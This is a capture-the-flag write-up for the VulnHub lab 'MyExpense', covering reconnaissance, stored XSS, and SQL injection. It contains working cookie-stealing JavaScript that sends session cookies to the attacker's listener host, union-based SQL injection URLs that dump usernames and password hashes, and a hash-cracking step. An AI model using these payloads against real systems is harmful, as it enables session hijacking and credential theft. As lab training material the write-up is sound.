MyExpense: 1 - XSS VulnHub Machine

Machine Preparation
First, download the .ova image from source MyExpense - VulnhHub.
Then, import the image to VMware.
Changing the Network Adapter
Now, I have a NAT interface to manage machines into a subnet, like this.

We must connect thisVMnet0 with the attacker device and victim device.

Changing the Network Interface
In the grub screen press key: E.


Then, move down and change: ro quiet for rw init=/bin/bash and press Ctrl+x to restart the machine.


We can see that the interface is incorrect. So we change it.


Now in the attacker device, we can see the machine in our network.

After we should change a few scripts, we must repeat steps 1 and 2, then, we must change each script at /opt/.


Finally, restart the machine and hack!
Scenario Context
You are "Samuel Lamotte" and you have just been fired by your company "Furtura Business Informatique". Unfortunately because of your hasty departure, you did not have time to validate your expense report for your last business trip, which still amounts to 750 € corresponding to a return flight to your last customer.
Fearing that your former employer may not want to reimburse you for this expense report, you decide to hack into the internal application called "MyExpense" to manage employee expense reports.
So you are in your car, in the company carpark and connected to the internal Wi-Fi (the key has still not been changed after your departure).
The application is protected by username/password authentication and you hope that the administrator has not yet modified or deleted your access.
Your credentials were: samuel/fzghn4lw
Once the challenge is done, the flag will be displayed on the application while being connected with your (samuel) account.
We save these initial credentials.

Reconnaissance
Detecting system operative, this returns TTL=64 for Linux OS.
The IP is 192.168.200.131.
sudo arp-scan -I ens33 --localnet --ignoredups
Using a custom tool.
which whichSystem.py
whichSystem.py 192.168.200.131
Port scanning by using Nmap.
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.200.131 -oG allPorts
-p-: All ports (65535).
--open: Show open ports.
-sS: Half-open scanning technique.
--min-rate 5000: min rate of sent packets is 5000.
-vvv: Triple verbose.
-n: No DNS resolution.
-Pn: No Host discovery, the IP sent is taken as valid or existing.
-oG: Output is saved as Grepable in allPorts file.
Custom scripts to extract information from the grepable output.
# to create work directories
function mkt() {
mkdir {nmap,content,exploits}
}
# to extract information from grepable nmap output
function extractPorts() {
ports="$(cat $1 | grep -oP '\d{1,5}/open' | awk '{print $1}' FS='/' | xargs | tr ' ' ',')"
ip_address="$(cat $1 | grep -oP '^Host: .* \(\)' | head -n 1 | awk '{print $2}')"
echo -e "\n[*] Extracting information...\n" > extractPorts.tmp
echo -e "\t[*] IP Address: $ip_address" >> extractPorts.tmp
echo -e "\t[*] Open ports: $ports\n" >> extractPorts.tmp
echo $ports | tr -d '\n' | xclip -sel clip
echo -e "[*] Ports copied to clipboard\n" >> extractPorts.tmp
cat extractPorts.tmp
rm extractPorts.tmp
}
Using extractPorts to retrieve information from Nmap scan.
extractPorts allPorts
The printed ports of the above execution we paste them in Nmap like this.
sudo nmap -sCV -p80,38789,39457,40685,58593 192.168.200.131 -oN targeted
-sCV: Applies service scanning and executes a few scripts to recognize more data about those services.
-p80,38789,39457,40685,58593: Ports returned by the initial Nmap scan.
-oN: Output is saved as Nmapable in the targeted file (simply, as Nmap output).
Output Nmap scan.

Let's probe the initial credentials samuel/fzghn4lw.

Using brute force to find out directories by using the gobuster tool.
gobuster dir -u http://192.168.200.131/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
dir: Directory brute force.
-u: URL.
-w: Dictionary to be used, I use SecLists.
We found /admin/ directory.

But it seems that we need be an administrator to see the content.

Now, let's see if the website uses php into /admin/ directory by using the gobuster tool again.
gobuster dir -u http://192.168.200.131/admin -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x php
-t 20: Apply 20 threads.
-x php: to find out php files into /admin/ directory.
We found /admin/admin.php file.

We can see all users of the organization and that the slamotte (Samuel) user is Inactive.

We are going to update our credts.txt file.

But trying with new credentials, the web says.

Trying User Creation
We try to create a new user to see if the web is XSS insecure, but the web says.

But, this is HTML and we could edit this code, delete disabled="" to enable Sing up! button.



Verifying XSS Vulnerability
We have injected javascript code to see if the web is XSS vulnerable, let's view if this is TRUE.

Now, any authenticated user that sees this panel will execute the injected script.
Attacking with XSS
We inject a script to retrieve a connection from anyone that sees the admin.php panel.

Cookie Hijacking
Now we can do a Cookie Hijacking with the next script into pwned.js. Starting a Http listener server.
sudo python3 -m http.server 80
Content of pwned.js.
var request = new XMLHttpRequest();
request.open('GET', 'http://192.168.200.128/?cookie=' + document.cookie);
request.send();
You can see that some user that sees the /admin/admin.php panel will send his cookie to us.

We use this captures cookie: h716aj84eo0ihr3e42a3tr0ij5 to see if we can hijack it.

This cookie belongs to an administrator, and this only can be used in one session.

Doing Things as Administrator
To activate an account, when we click on the active button, It sends this in the URL.
http://192.168.200.131/admin/admin.php?id=11&status=active
So we can use this GET request in our pwned.js script so the administrator activates the samuel user, just like this.
sudo python3 http.server 80
var request = new XMLHttpRequest();
request.open('GET', 'http://192.168.200.131/admin/admin.php?id=11&status=active');
request.send();
And now, the samuel user is activated.

We login in with samuel credentials now, because his account is actived. Also, we can see that a few users are chatting.

In the Expense reports, you can see that the expense value hasn't been paid.

Forcing Expense Payment
First, we send the report for our payment, this has been submitted but not approved.

Second, you can see that our manager is Manon Riviere maybe he should approve our report.

Cookie Hijacking Directed to Manon Riviere
So, we must be Manon Riviere to accept our report, and we could inject another script to do a Cookie Hijacking to try to get his cookie.
sudo python3 -m http.server 4646
cookieHijacking.js
var request = new XMLHttpRequest();
request.open('GET', 'http://192.168.200.128:4646/?cookie=' + document.cookie);
request.send();
Inject code for any user that sees the malicious code sends to us his session cookie.

Let's try out all of these cookies.

This cookie belongs to our manager and we are going to approve our expense.

Now, as samuel user, we can see that our expense has been validated, but not sent for payment.

Now, as samuel user, we can see that our expense has been validated, but not sent for payment.

Also, we can see the boss of Manon Riviere is Paul Baudouin and he is the Financial approver.


SQL Injection to Retrieve Paul Password
So, any cookie hijacked doesn't contain the Paul Baudouin user.
But this user contains a panel that sends queries to the main database, we can use this feature to retrieve user passwords.

Let's verify if the query is between*''* or not.
http://192.168.200.131/site.php?id=2'-- -

So, the query doesn't between ''.
http://192.168.200.131/site.php?id=2-- -

To retrieve the number of columns, we probe.
(this returns error)
http://192.168.200.131/site.php?id=2 order by 3-- -
(this doesn't return error)
http://192.168.200.131/site.php?id=2 order by 2-- -
Also, we can do this.
http://191.168.200.131/site.php?id=2 union select 1,2-- -

Now, we could obtain a lot of information into the database by using the following queries.
To see database names.
http://192.168.200.131/site.php?id=2 union select 1,schema_name from information_schema.schemata-- -
To see tables of myexpense database.
http://192.168.200.131/site.php?id=2 union select 1,table_name from information_schema.tables where table_schema='myexpense'-- -
To see columns of user table of myexpense database.
http://192.168.200.131/site.php?id=2 union select 1,column_name from information_schema.columns where table_schema='myexpense' and table_name='user'-- -
To see users and passwords concatenated (assuming that myexpense database is used).
http://192.168.200.131/site.php?id=2 union select 1,group_concat(username, 0x3a, password) from user-- -
Now, with all credentials retrieved, we can crack all of them, but our focus is in Paul Baudouin user.

Let's use this Hashes web to crack this hash: 64202ddd5fdea4cc5c2f856efef36e1a.

His password is HackMe 😵.
Let's log in with Paul Baudouin account and pay our expenses.

Now, we can retrieve the FLAG by logging in with samuel account.

I appreciate your time reading this write-up 😁 and I hope it has been valuable for your understanding of the topic, remember that this content does not come 100% from me. Writing this article is a way to reinforce my learning obtained from S4vitar's Hack4u courses 🔥.




